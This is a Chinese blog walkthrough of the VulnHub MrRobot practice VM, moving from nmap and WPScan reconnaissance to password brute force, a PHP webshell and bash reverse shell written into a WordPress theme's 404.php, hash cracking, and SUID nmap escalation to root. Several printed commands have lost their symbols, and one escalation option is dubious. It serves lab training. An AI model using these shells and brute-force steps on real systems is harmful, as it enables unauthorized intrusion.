
1. 为什么VulnHub靶场是渗透测试入门的“最佳陪练”先说个我觉得挺反直觉的现象很多人学渗透测试上来就奔着真实目标去练手结果要么被反制要么因为法律边界直接劝退。这行的老规矩永远是“先在自己的地盘上把该踩的坑全踩一遍再谈其他”。VulnHub这个平台的价值恰恰就是提供了一个完全合法、可随意“破坏”的练兵场。MrRobot这台的靶机在VulnHub上属于入门到进阶之间非常经典的一台。说它经典不是因为它有多难——其实它的漏洞链非常清晰全打下来用不了几个工具——而是因为它几乎复刻了真实渗透测试中“由外到内、由低权限到高权限”的完整标准路径。从端口扫描、目录探测到CMS利用、弱口令爆破再到提权思路和字典定制整条链路像教科书一样工整。用这台靶机练手你能收获的不只是“拿到root”的快感更是对渗透测试流程整体节奏的把控信息收集阶段到底该多投入、漏洞利用阶段出现状况怎么调整、提权阶段如何从蛛丝马迹里找到突破口。这篇文章不搞标题党就把我手动通关这台靶机的完整过程、每一步的思考逻辑、以及踩过的那些坑都摊开讲。不管你是刚装好Kali的纯小白还是已经打过几台其他靶机想进阶的同行这篇应该都能给你一些实在的参考。2. 起手先建靶场网络模式选择和主机发现思路2.1 网络模式为什么推荐NAT而不是桥接搭建MrRobot靶机时网上很多教程会让你用VMware或VirtualBox直接默认配置。但我个人强烈建议把虚拟网络模式统一设置为NAT模式而不是桥接模式。原因很简单NAT模式下的虚拟机组网隔离性更好IP分配更稳定不容易和你物理局域网里的真实设备冲突对新手来说排查网络故障的成本低很多。把Kali和MrRobot靶机都挂在同一个NAT网段下Kali启动后通常会自动获取一个192.168.x.x的内网地址。靶机也一样。这样两台虚拟机之间天然互通但又不会暴露到外部网络练手过程完全受控。安装MrRobot的.ova文件时有一点要注意如果导入虚拟机后网络接口名不是你预期的eth0或者干脆没有分配到IP多半是网卡兼容模式的问题。处理办法是先把虚拟机“设置-网络适配器”里确认是NAT模式然后在靶机开机进入编辑模式调整网卡的硬件兼容版本再重新启动系统。2.2 主机存活探测netdiscover与arp-scan的选择靶机启动完成后第一步一定是确认靶机IP。这个环节指望靠记忆是不靠谱的因为DHCP分配的地址每次重启可能有变化。我常用的是netdiscoversudo netdiscover -r 192.168.x.0/24或者用arp-scan做同样的事sudo arp-scan --localnet两个工具的筛选逻辑略有差异——netdiscover靠发送ARP请求并监听响应arp-scan则直接批量发送ARP数据包再收集应答。个人体验是netdiscover在显示对方MAC厂商信息方面更直观能快速辨认出VMware或VirtualBox的虚拟机网卡。靶机的MAC地址前三位通常是00:0C:29VMware或08:00:27VirtualBox看这个基本就能在列表里直接锁定目标。ARP Scanning 192.168.x.x IP MAC Vendor 192.168.x.x 00:0C:29:xx:xx:xx VMware, Inc.这里有个操作心得靶机开机后别急着扫等1-2分钟让系统服务完全启动再开始。遇到过太多次因为抢时间导致扫描结果不全——明明80端口开着结果第一次扫出来的服务列表里是空的后续排查浪费了大量时间。3. 初步侦察Nmap全端口扫描和robots.txt暴露的信息量3.1 全端口扫描为什么不能省拿到靶机IP后的标准动作是Nmap扫描。很多人贪快直接nmap -sV 192.168.x.x只扫Top 1000的常用端口完事。但做渗透测试我在任何靶机上都会先跑一次全端口nmap -sS -sV -p- -T4 192.168.x.x参数解释一下-sS是SYN半开扫描速度快且不容易大量留日志-sV做服务版本探测-p-表示扫描全部65535个端口-T4调整时序保证扫描也要给靶机留条活路不要疯狂发包导致丢包误判。MrRobot这台靶机跑完全端口扫描结果非常干净PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 443/tcp open ssl/http Apache httpd看到这个结果第一反应是什么22端口是closed不是filtered说明靶机上确实没开SSH而不是防火墙拦截。Web服务是Apache80和443都开着。这个端口格局其实已经暗示了渗透路线的重心——所有攻击面都在Web层面后半段的横向移动和提权则要走别的路子。为什么不装个小字典直接开扫目录因为还缺关键信息——Web服务的框架、中间件版本、以及隐藏在页面源码里的线索。3.2 robots.txt里的“公共厕所”逻辑顺手用curl看一下靶机首页curl -I http://192.168.x.x返回的Header里Server字段精确到Apache版本。紧接着最骚的一步来了——查看robots.txtcurl http://192.168.x.x/robots.txt内容如下User-agent: * Disallow: /0 Disallow: /admin Disallow: /key-1-of-3.txt看到这行配置的第一反应靶机作者在故意“送分”。robots.txt的本意是告诉搜索引擎哪些目录不允许抓取但在这个场景里它恰好把攻击者最需要的第一个Flag路径直接写在里面。key-1-of-3.txt这个文件名格式也很有信息量——MrRobot这台靶机一共有3个Flag这是第一个。访问一下curl http://192.168.x.x/key-1-of-3.txt顺利拿到第一段Flag。同时在robots.txt下方还看到了一个叫fsocity.dic的资源先记住这个名字这是个伏笔后面爆破会用到它。有人会问robots.txt在真实渗透测试里重要吗答案是看运气。很多站点管理不规范robots.txt会暴露后台入口、备份文件、敏感目录这些在授权测试里都是白捡的信息。MrRobot这台靶机把这个点放在开局就是为了培养这种“连静态文件也值得翻一翻”的敏感度。4. Web指纹识别与WordPress攻击面4.1 从页面源码里挖出CMS类型访问80端口首页时我留了个心眼——先用浏览器直接打开再用curl拉一遍源码。源码里有一行注释!-- If you are reading this, you are in the right place. Remember: Sometimes, the key to progress is to look deeper. --这种提示在靶机里非常典型光看表面的首页没用得深入其他路径。继续翻源码发现了WordPress相关的资源引用——wp-content、wp-includes这些关键词某一个都不说明问题但它们同时出现基本可以断定这是一个WordPress站点。再多看几眼能发现站点主题是“Krypton”之类的自定义主题甚至能看到页面生成器的版本号。WordPress本身漏洞多、插件生态庞大知道CMS类型之后攻击面一下子就打开了。4.2 WPScan枚举从用户列表中找突破口确认是WordPress后马上上WPScan做深度枚举wpscan --url http://192.168.x.x --enumerate u--enumerate u参数用于枚举站内用户。WPScan枚举用户依赖的是WordPress REST API或者作者归档页面等途径这个靶机明确暴露了可枚举的用户信息[i] User(s) Identified: [] Elliot只有elliot这一个用户名。为什么用户枚举这么重要因为后面爆破WordPress后台wp-login.php时你已经省去了“猜用户名”这个环节直接拿已知用户名打密码。现实中很多站点后台用户名默认是admin但只要改过爆破难度就会上升一个量级。这里靶机直接送用户名相当于把锁的一半钥匙孔露出来了。WPScan还能再扫一遍插件和主题wpscan --url http://192.168.x.x --enumerate vp --plugins-detection aggressive如果输出里发现某个插件存在已知漏洞那比纯抢密码更快。但MrRobot这台靶机在插件上没给什么可乘之机真正的钥匙还是密码爆破。5. 字典的胜利fsocity.dic的降维打击5.1 自带字典和定制字典的效率差异之前提到robots.txt里有个叫fsocity.dic的文件现在到它上场的时候了。先用curl把这个字典下载下来curl -O http://192.168.x.x/fsocity.dic wc -l fsocity.dic看到行数会吓一跳——这个字典非常大。但细看会发现全是英文单词和常见密码组合。这正是MrRobot靶机作者精心设计的一环靶机根本不跟你拼字典的覆盖量而是拼你对现场信息的使用效率。破解WordPress后台密码有两种选择。第一种是直接用Kali自带的字典配合wpscanwpscan --url http://192.168.x.x --passwords /usr/share/wordlists/rockyou.txt --usernames elliot这种方案的问题是rockyou.txt体积巨大全程跑完需要很长时间。第二种思路就是基于站内素材定制字典先用sort fsocity.dic | uniq去重再按靶机主题加入可能的密码组合比如剧中主角Elliot常用的密码。实测下来精加工过的定制字典跑完也就几分钟。5.2 WPScan爆破wp-login的几条实战经验爆破WordPress后台时WPScan有几个参数很关键wpscan --url http://192.168.x.x --passwords fsocity.dic --usernames elliot --max-threads 50--max-threads控制并发线程数调大一点速度确实快但WPScan对WordPress的登录接口会有频率限制。如果跑了一会儿没动静多半是被WAF或插件拦截了这时候把线程数调低反而更容易出结果。爆破成功后WPScan会直接输出[SUCCESS] Login: elliot / Password: ER28-0652Elliot的密码是ER28-0652。这个密码非常“MrRobot”——看起来像随机字符串其实跟剧里的情节有千丝万缕的关系。很多真实渗透场景里密码爆破能成功靠的从来不是字典大而是“字典合理对目标背景有了解”。爆破的过程也能顺带验证一个事靶机上WordPress的xmlrpc.php往往开着这个接口经常被人用来做分布式密码爆破。不过MrRobot这台靶机直接用wp-login打就够了不需要再绕道xmlrpc。6. WordPress后台到Webshell主题文件注入与反弹Shell6.1 为什么优先利用主题编辑功能拿到后台账号密码后登录/wp-login.php。进去之后的第一反应不是找什么插件上传漏洞而是看一眼“外观-主题编辑器”这是WordPress最老牌、也最稳定的getshell方式之一。WordPress的后台默认允许管理员直接编辑主题的PHP模板文件。这意味着你不需要上传任何恶意插件或木马文件只需要在某个PHP模板里插入一句反弹Shell代码然后找个方式触发这个模板的加载就能拿到Webshell。我用的方式是编辑主题的404.php文件——因为这个页面在访问一个不存在的路径时必定会被加载触发概率几乎100%。?php exec(/bin/bash -c bash -i /dev/tcp/你的KaliIP/4444 01);这里要注意有些PHP环境下exec函数可能被禁用所以更稳妥的做法是先用一句话木马确认代码执行能力再考虑反弹Shell。我实际用的代码语句最终是?php system($_GET[cmd]); ?先在404.php里插入这个然后访问curl http://192.168.x.x/不存在路径/?cmdid如果返回了www-data用户的执行结果说明代码执行通道OK这时候再替换成反弹Shell语句也不迟。6.2 反弹Shell连接过程的坑80还是443反弹Shell的目标端口最好避开80因为靶机的Apache本身就占用80端口监听不会出问题但443端口虽然开着HTTPS的流量封装可能导致你收不到稳定的反向连接。我建议监听一个高位端口比如4444或9999nc -lvnp 4444触发方式就是在浏览器里访问一个带恶意代码的路径将404.php在404场景下渲染出来。此时nc那一端应该能看到来自靶机的连接请求connect to [你的KaliIP] from (UNKNOWN) [192.168.x.x] 39878 bash: cannot set terminal process group (1234): Inappropriate ioctl for device看到bash: cannot set terminal process group这种报错别慌说明Shell已经建立只是当前TTY不完整。输入以下命令升级成交互式Shellpython3 -c import pty;pty.spawn(/bin/bash)然后再做一次标准的前后台切换和终端设置就能获得一个完整可用的交互Shell。这里建议把Shell升级这步做扎实因为后续查看文件、编辑配置、传提权工具都依赖一个稳定的终端环境半残的Shell会把很多操作变成噩梦。有一次我嫌麻烦没做升级结果在提权阶段用vim编辑文件时方向键全是乱码活生生浪费了十几分钟。7. 提权前的信息收集低权限下的敏感文件7.1 /home目录下的第二个Flag和密码哈希拿到www-data权限后常规操作是先把当前目录过一遍然后切换到WordPress站点根目录看看wp-config.php里的数据库密码。但MrRobot这台靶机的纵深设计更直白——直接翻/home目录ls -la /home你能看到有个叫robot的用户目录这名字暗示靶机有个真实用户叫robot。进入这个目录ls -la /home/robot里面躺着两个重要文件key-2-of-3.txt和password.raw-md5。尝试直接读取key-2-of-3.txt时会报Permission Denied因为当前权限不够。而password.raw-md5文件内容是一长串MD5哈希robot:c3fcd3d76192e4007dfb496cca67e13b用在线破解工具或者hashcat跑一下hashcat -m 0 -a 0 c3fcd3d76192e4007dfb496cca67e13b /usr/share/wordlists/rockyou.txt很快出结果abcdefghijklmnopqrstuvwxyz——对就是字母表顺序。这台靶机在密码设计上明显在玩梗。这串MD5对应的明文是robot用户的密码意味着下一步就是切换到robot身份。有一个细节值得提醒拿到哈希后不要一上来就硬破解可以先看一眼哈希值本身是否能在网上搜到已知解。MrRobot这台靶机的密码哈希很早就在各大Writeup里出现如果你的环境允许联网直接搜反而更快。但作为练习我坚持用hashcat走一遍破解流程。7.2 横向切换到robot用户与第二个Flag用robot的密码尝试su切换su robot这里会遇到一个小坑从www-data的Shell直接su系统会提示su: must be run from a terminal原因是当前TTY不完整。所以前面强调的Shell升级步骤在这里再次体现价值。升级完TTY后再su输入密码abcdefghijklmnopqrstuvwxyz成功切到robot用户。cat /home/robot/key-2-of-3.txt第二个Flag到手。此时系统权限已经从Web服务的www-data提升到了普通系统用户robot接下来目标很明确继续提权到root。8. 从robot到rootNmap交互模式的提权链路8.1 Linux混入了一个“非预期”的漏洞思路拿到robot用户后我照例做了几件事看sudo权限、看suid文件、看系统版本结果在查看有哪些suid程序时发现一个意外的文件find / -perm -4000 -type f 2/dev/null输出列表里出现了/usr/local/bin/nmap。这个非常有代表性——Nmap的老版本比如3.x或4.x存在交互模式逃逸到Shell的问题如果Nmap本身被设置了SUID位那么启动Nmap并进入交互模式后!sh可以直接弹出一个root权限的Shell。更常见的路径是检查sudo -l是否有Nmap授权sudo -l如果返回(ALL) NOPASSWD: /usr/local/bin/nmap那直接用sudo nmap --interactive就完事。但MrRobot这台靶机上Nmap是带了SUID位这比sudo授权更直接——不需要任何密码普通用户执行Nmap时就直接以owner权限运行而owner是root。8.2 Nmap交互模式弹Shell的完整操作Nmap在非交互模式下也能执行命令利用方式有两种方式一交互模式nmap --interactive nmap !sh输入!sh后你会直接获得一个root权限的shell。验证一下id uid0(root) gid0(root) groups0(root)方式二非交互模式如果交互模式被限制nmap --script http-shellshock --script-args...不过这台靶机用方式一就够了。获得root权限后最后一个Flag的位置通常在/root目录下cat /root/key-3-of-3.txt到这里MrRobot这台靶机的完整渗透链就跑完了Web信息收集 - WordPress爆破 - 主题注入GetShell - 本地密码哈希破解 - 横向切换到robot - SUID提权到root - 拿到全部三把钥匙。9. 实战复盘这台靶机教会我的四件事打完MrRobot我复盘的时候一直在琢磨一个问题为什么这台靶机在VulnHub上评价那么高后来想明白了它把所有渗透测试中最重要的细节都浓缩在一条不长的攻击链里了。第一robots.txt这种边角料文件可能藏着战略性信息。很多新手到了目标站点只会盯着首页和常见目录扫忽略了robots.txt、sitemap.xml、.git/这类文件。MrRobot在开局就用一个key-1-of-3.txt告诉你了信息收集的深度会直接决定你能走多远。第二定制字典比通用字典高效得多。WPScan爆破WordPress后台时沿用rockyou.txt全量跑可能要跑几个小时而基于靶机提供的fsocity.dic做去重、清洗、扩充后几分钟就出结果。现实渗透测试里根据目标站点内容、公司背景、个人社交信息定制字典成功率远高于盲目堆通用字典。第三TTY升级不是可选项而是必备项。从反弹Shell到su切换从读文件到执行提权工具每一步都依赖一个完整交互式终端。很多新手卡在拿到Shell之后寸步难行不是因为没思路而是连su指令都用不了。第四SUID文件的价值在系统中远比想象中重要。Nmap可以被赋予SUID位很多系统管理员的“顺手配置”会成为提权的突破口。打完靶机之后对系统里所有带SUID位的文件做一次盘点你会发现很多意想不到的惊喜——这句话在真实渗透测试里同样成立。10. 一点补充关于合法授权和实战演练的心态最后多聊一句关于练手心态的问题。很多人玩这类靶机喜欢跳步骤、用现成脚本一键打通。但渗透测试这项技能从来不是靠“快”来衡量的而是靠“每一步都能解释为什么”来积累的。我打靶机的习惯是哪怕用脚本能一键拿到Shell也会手动走一遍攻击链把每个工具的响应结果和底层原理对应起来。这种慢功夫才是日后面对真实目标时最靠得住的东西。如果这篇过程对你有所帮助或者勾起了你打靶剂的兴趣欢迎在评论区聊聊你在哪一步卡过壳或者你打这台靶机时用了哪些不一样的思路。实战这条路多交流一次就多开阔一分。